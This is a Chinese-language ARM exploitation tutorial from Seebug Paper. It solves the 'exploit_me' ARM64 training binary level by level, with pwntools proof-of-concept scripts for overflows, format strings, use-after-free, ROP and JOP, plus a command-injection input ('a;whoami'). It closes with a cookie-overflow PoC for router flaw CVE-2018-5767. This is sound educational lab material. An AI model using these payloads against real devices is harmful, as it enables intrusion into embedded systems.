ARM 漏洞挖掘基础
2023-4-26 11:15:0 Author: paper.seebug.org(查看原文) 阅读量:25 收藏

作者：Ryze-T
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]

0x00 简介

ARM 属于 CPU 架构的一种，主要应用于嵌入式设备、智能手机、平板电脑、智能穿戴、物联网设备等。

ARM64 指使用64位ARM指令集，64位指指数据处理能力即一条指令处理的数据宽度，指令编码使用定长32比特编码。

0x01 ARM

1.1 字节序

字节序分为大端（BE）和小端（LE）：

  • 大端序（Big-Endian）将数据的低位字节存放在内存的高位地址，高位字节存放在低位地址。这种排列方式与数据用字节表示时的书写顺序一致，符合人类的阅读习惯。
  • 小端序（Little-Endian）将一个多位数的低位放在较小的地址处，高位放在较大的地址处。小端序与人类的阅读习惯相反，但更符合计算机读取内存的方式，因为CPU读取内存中的数据时，是从低地址向高地址方向进行读取的。

在v3之前，ARM体系结构为little-endian字节序，此后，ARM处理器成为BI-endian，并具允许可切换字节序。

1.2 寄存器

1.2.1 32位寄存器

R0-R12：正常操作期间存储临时值、指针。

其中：

  • R0用于存储先前调用的函数的结果
  • R7用于存储系统调用号
  • R11跟踪用作帧指针的堆栈的边界，函数调用约定指定函数的前四个参数存储在寄存器 R0-R3 中
  • R13也称为SP，作为堆栈指针，指向堆栈的顶部
  • R14也被称为 LR，作为链接寄存器，进行功能调用时，链接寄存器将使用一个内存地址进行更新，该内存地址引用了从其开始该功能的下一条指令，即保存子程序保存的地址
  • R15也称为PC，即程序计数器，程序计数器自动增加执行指令的大小。

当参数少于4个时，子程序间通过寄存器R0~R3来传递参数；当参数个数多于4个时，将多余的参数通过数据栈进行传递，入栈顺序与参数顺序正好相反，子程序返回前无需恢复R0~R3的值。

在子程序中，使用R4～R11保存局部变量，若使用需要入栈保存，子程序返回前需要恢复这些寄存器；R12是临时寄存器，使用不需要保存。 子程序返回32位的整数，使用R0返回；返回64位整数时，使用R0返回低位，R1返回高位。

1.2.2 64位寄存器

1.3 指令

ARM 指令模版：

MNEMONIC{S} {condition} {Rd}, Operand1, Operand2

[!NOTE] MNEMONIC：指令简称 {S}：可选后缀，如果指定了S，即可根据结果更新条件标志 {condition}：执行指令需满足的条件 {Rd}：用于存储指令结果的寄存器 Operand1：第一个操作数，寄存器或立即数 Operand2：可选，可以是立即数或者带可移位的寄存器

1.4 栈帧

栈帧是一个函数所使用的那部分栈，所有的函数的栈帧串起来就是一个完整的栈。栈帧的边界分别由 fp 和 sp 来限定。

FP就是栈基址，它指向函数的栈帧起始地址；SP则是函数的栈指针，它指向栈顶的位置。ARM压栈的顺序依次为当前函数指针PC、返回指针LR、栈指针SP、栈基址FP、传入参数个数及指针、本地变量和临时变量。

如果函数准备调用另一个函数，跳转之前临时变量区先要保存另一个函数的参数。从main函数进入到func1函数，main函数的上边界和下边界保存在被它调用的栈帧里面。

1.5 叶子函数和非叶子函数

叶子函数是指本身不会调用其他函数，非叶子函数相反。非叶子函数在调用时 LR 会被修改，因此需要保留该寄存器的值。在栈溢出的场景下，非叶子函数的利用会比较简单。

0x02 固件模拟

ARM架构的二进制程序，要进行固件模拟才可以运行和调试。

目前比较主流的方法还是使用QEMU，可以参考路由器固件模拟环境搭建，也可以用一些仿真工具，比如 Firmadyne 和 firmAE。

如果想依靠固件模拟自建一些工具，可以考虑使用 Qiling。

0x03 漏洞

3.1 exploit_me

下载地址

运行bin目录下的 expliot64开始进行挑战：

image.png

Level 1: Integer overflow

漏洞触发代码如下：

image.png

a1 是传入的第二个参数，atoi 函数可以将传入的参数字符串转为整数，然后进行判断，第一个判断是判断转换后的v2是否为0或负数，若不是，则进入第二个判断，判断 v2 的低16位（WORD）是否不为0，即低16位是否为0，若为0则跳过判断。

atoi 函数存在整数溢出，当输入 -65536，会转换为0xffff0000：

image.png

此数的低16位是0，因此可以绕过判断。

image.png

Level 2: Stack overflow

漏洞触发代码如下：

image.png

image.png

verify_user 函数会验证输入的第一个参数是否为 admin，验证完成后，会继续验证第二个参数是否是 funny，看起来似乎很简单，但是可以看到即使两个参数都按照要求输入，也不会得到 level3 password：

image.png

查看第三关的入口，可以看到第三关的password参数为 aVelvet：

image.png

通过查找引用可以得到 level3password 这个函数才是输出 aVelvet 的关键函数，但是此函数并未被引用。然而 strcpy(&v3, a1) 这一行伪代码暴露出存在栈溢出，因此可以通过覆盖栈上存储的返回地址，来跳转到 level3password 函数中。

首先通过 pwndbg cyclic 生成一个长度为200的序列，当作第一个参数输入：

image.png

得到偏移为16。

IDA 查看 level3password 地址为 0x401178，因此构造PoC：

from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
pad = b'aaaaaaaaaaaaaaaa\x78\x11\x40'
io = process(argv=['./exploit64','help',pad,'123'])
print(io.recv())

image.png 得到 password “Velvet”

Level 3: Array overflow

抽出核心代码为：

a1 = atoi(argv[2]);
a2 = atoi(argv[3]);
_DWORD v3[32]; // [xsp+20h] [xbp+20h]
v3[a1] = a2;
return printf("filling array position %d with %d\n", a1, a2);

这里有很明显的数组越界写入的问题。用gdb 进行调试：gdb --args ./exploit64 Velvet 33 1，在 0x401310（str w2, [x1, x0] 数组赋值） 处下断点，查看寄存器：

image.png

可以看到，当执行到赋值语句时，值传递是在栈上进行的，因此此处可以实现栈上的覆盖。

gdbserver配合IDA pro 尝试：

image.png

当传入参数为34，00000000 时，可以看到此刻执行STR W2, [X1,X0] 是将00000000 传到 0x000FFFFFFFFEBC0 + 0x84 = 0x000FFFFFFFFEC44 中：

image.png

0x000FFFFFFFFEC48 存储的就是 array_overflow 函数在栈上存储的返回地址。

因此只要覆盖此位置就可以劫持程序执行流。与 level2 同理，找到password 函数地址为 0x00000000004012C8

因此构造PoC：

from pwn import *

context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'

pad = "4199112"（0x00000000004012C8转十进制作为字符串传入）
io = process(argv=['./exploit64','Velvet',"34",pad])
print(io.recv())

image.png

Level 4: Off by one

核心代码如下：

image.png

传入的参数长度不能大于 0x100，复制到v3[256] 后，要使 v4 = 0。

字符串在程序中表示时，其实是会多出一个 "0x00" 来作为字符串到结束符号。因此PoC为：

from pwn import *

context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'

payload = 'a' * 256
io = process(argv=['./exploit64','mysecret',payload])
print(io.recv())

image.png

image.png

Stack Cookie 是为了应对栈溢出采取的防护手段之一，目的是在栈上放入一个检验值，若栈溢出Payload在覆盖栈空间时，也覆盖了 Stack Cookie，则校验 Cookie 时会退出。

这里的Stack Cookie 是 secret = 0x1337。

image.png

通过汇编可以看出，v2 存储在 sp+0x58 -- sp+ 0x28 中，所以当 strcpy 没限制长度时，可以覆盖栈空间，secret 存储在 sp+0x6C 中，v3 存储在 sp+0x68中，因此只要覆盖这两个位置为判断值，就可以完成攻击。

Level 6: Format string

[!NOTE] 格式化字符串漏洞 格式化字符串漏洞是比较经典的漏洞之一。 printf 函数的第一个参数是字符串，开发者可以使用占位符，将实际要输出的内容，也就是第二个参数通过占位符标识的格式输出。 例如： image.png 当第二个参数为空时，程序也可以输出： image.png 这是因为，printf从栈上取参时，当第一个参数中存在占位符，它会认为第二个参数也已经压入栈，因此通过这种方式可以读到栈上存储的值。 格式化字符串漏洞的典型利用方法有三个： 1. 栈上数据，如上所述 2. 任意地址读： 当占位符为%s时，读取的第二个参数会被当作目标字符串的地址，因此如果可以在栈上写入目标地址，然后作为第二个参数传递给printf，就可以实现任意地址读 3. 任意地址写： 当占位符为%n时，其含义是将占位符之前成功输出的字节数写入到目标地址中，因此可以实现任意地址写，如： image.png 一般配合%c使用，%c可以输出一个字符，在利用时通过会使用

程序逻辑为：

image.png

image.png

程序逻辑为输入 password，打印 password，判断 v1 是否为 89，是则输出密码。

这里 printf(Password)，Password 完全可控，这里存在格式化字符串漏洞。

通过汇编可以看到：

image.png

image.png

Arm64 函数调用时前八个参数会存入 x0-x7 寄存器，因此第8个占位符会从栈上开始取参，sp+0x18 是我们需要修改的地址，因此偏移为 7+3=10。

PoC为：

from pwn import *

context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'
payload = '%16lx'*9+'%201c%n' # 16*9+201=345=0x159
io = process(argv=['./exploit64','happyness'])
io.sendline(payload)
print(io.recv())

image.png

Level 7: Heap overflow

image.png

v7 和 v8 都是创建的堆空间，且在 strcpy 时未规定长度，因此可以产生堆溢出，从而覆盖到v7的堆空间，完成判断。

通过 pwngdb 生成测试字符串，在 printf处下断点，查看 v7 是否被覆盖和偏移：

image.png

通过 x1 寄存器可知，偏移为 48。

因此 PoC为：

from pwn import *

context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'

payload = 'A'*48 + '\x63\x67'
io = process(argv=['./exploit64','mypony',payload])
#io.sendline(payload)
print(io.recv())

image.png

Level 8: Structure redirection / Type confusion

image.png

一直跟进Msg:Msg：

image.png

而在strcpy 下面一行有用 v12 作为函数指针执行，v12 = v2 = &Run::Run(v2)，

image.png

因此需要通过strcpy覆盖栈空间上存储的v12，来控制函数执行流。且覆盖为0x4c55a0，从而在取出 v12 当作函数指针执行时可以指向Msg::msg：

image.png

根据汇编，v12 存储在 sp+0x90-0x10 = sp+0x80 处，strcpy 从 sp+0x90-0x68 = sp+0x28 处开始，偏移为 0x80-0x28 - 0x8 = 0x50。

因此PoC为：./exploit64 Exploiter $(python -c 'import sys;sys.stdout.buffer.write(b"A"*(20*4)+b"\xa0\x55\x4c\x00\x00\x00\x00\x00")')

image.png

Level 9: Zero pointers

image.png

image.png

image.png

先使用 gdb 调试， gdb --args ./exploit64 Gimme a 1，程序报错：

image.png

第二个参数应该填写的是地址：

image.png

在程序执行过程中，v4指向的值会被置0，v4指向的是a1的地址，因此a1地址指向的值会变为0。

因此要想完成 v3 的判断，只需要将 v3 地址传入即可。

PoC为./exploit64 Gimme 0xffffffffec9c 1:

image.png

Level 10: Command injection

image.png

关键点 v9 = "man" + *(a2+16)，v9中要包含 “;” 才可以完成判断。

因此 PoC 为 ./exploit64 Fun "a;whoami":

image.png

Level 11: Path Traversal

image.png

PoC为./exploit64 Violet dir1/dir2/../..

Level 12: Return oriented programming (ROP)

scanf 并未限制长度，因此此处存在溢出，通过pwndbg 的 cyclic 得到偏移为72。

现在目的是跳到 comp 函数中，且参数要为 0x5678：

image.png

因此需要构造 Rop Gadget，构造的 Gadget 应该具备以下功能，将comp 判断的地址 0x400784加入lr寄存器(x30),并能执行 ret，这样就可以在溢出时，将程序执行流劫持到 Rop Gadget 的地址。

image.png

这样在跳转时这个地址会被压栈作为 Rop 的 ret 的返回地址。

程序给了一个叫 ropgadgetstack 的 rop Gadget：

image.png

通过调试可知，x0 和 x1 在 0x400744 执行后都为当前sp寄存器存储的值，因此 0x400784的比较可以正常完成；lr寄存器，也就是x30 = （0x400744 时）sp+0x10 + 0x8。

输入 payload = b'A'*72 + p64(0x400744) + b'BBBBCCCCDDDDEEEEFFFFGGGGHHHHJJJJKKKKLLLLMMMMNNNNOOOOPPPP' 进行调试：

image.png

可知，paylad 从 0x400744后，再填充32个字符开始，会覆盖到当前$sp，因此只要再覆盖24个字符后，覆盖为 0x400784 就可以在 ret 执行后跳到 comp 的比较处。payload为 payload = b'A'*72 + p64(0x400744) + b'B'*32 + b'C'*16 + b'D'*8 + p64(0x400784)

image.png

Level 13: Use-after-free

image.png

image.png

根据代码逻辑可看出，输入的第二个参数决定了执行 switch 几次以及执行那一个选项，0是 malloc，mappingstr就指向堆块；1是 free；2 是函数指针执行；3是 malloc，且malloc 申请地址后存储的值就是 command。

很明显这是一个Use After Free，通过0创建一个堆块，mappingstr不为空此时再 free mappingstr，再malloc一个相同大小的堆块，就可以申请到 mappingstr 的堆块，复制 command 到堆块后，再通过函数指针执行。level13password函数地址是 0x4008c4。

因此 payload 为：payload = b'a' * 64 + p64(0x4008c4)

执行参数为 0312：

image.png

Level 14: Jump oriented programming (JOP)

与ROP不同，JOP 是使用程序间接接跳转和间接调用指令来改变程序的控制流，当程序在执行间接跳转或者是间接调用指令时，程序将从指定寄存器中获得其跳转的目的地址，由于这些跳转目的地址被保存在寄存器中，而攻击者又能通过修改栈中的内容来修改寄存器内容，这使得程序中间接跳转和间接调用的目的地址能被攻击者篡改，从而劫持了程序的执行流。

image.png

关键点在两个 fread 上，第一个 fread 将文件中的4个字节读到 v2 中，第二个read 又将 v2 作为读取字节数，从 v5 中读取到 v3，v3 分配在栈空间上，因此这里会出现栈溢出。

看汇编会更明显：

image.png

通过 gdb 测试，得到偏移为 52。

往一个文件里写入 data = b'A'*52 + p64(0x400898)

执行：

image.png

3.2 CVE 案例

CVE-2018-5767

具体分析过程可见：CVE-2018-5767

漏洞触发点在：

此处存在一个未经验证的 sscanf，它会将 v40 中存储的值按照 "%*[^=]=%[^;];*" 格式化输入到 v33，但是并未验证字符串长度，因此此处会产生一个栈溢出。

PoC 如下：

import requests



url = "http://10.211.55.4:80/goform/execCommand"



payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae' +".png"

headers = {

'Cookie': 'password=' + payload

}



print(headers)



response = requests.request("GET", url, headers=headers)

通过远程调试可观察到，在 PoC 执行后：

image.png

由于栈溢出，PC 寄存器被覆盖，导致程序执行到错误的内存地址而报错。偏移量为444。

0x04 总结

ARM的分析与x86类似，只是在函数调用、寄存器等方面存在差异，相对来说保护机制也较弱，且应用场景更为广泛，如IOT设备、车联网等，如果能顺利完成固件提取，可玩性相对较高。

Paper 本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/2064/


文章来源: https://paper.seebug.org/2064/
如有侵权请联系:admin#unsafe.sh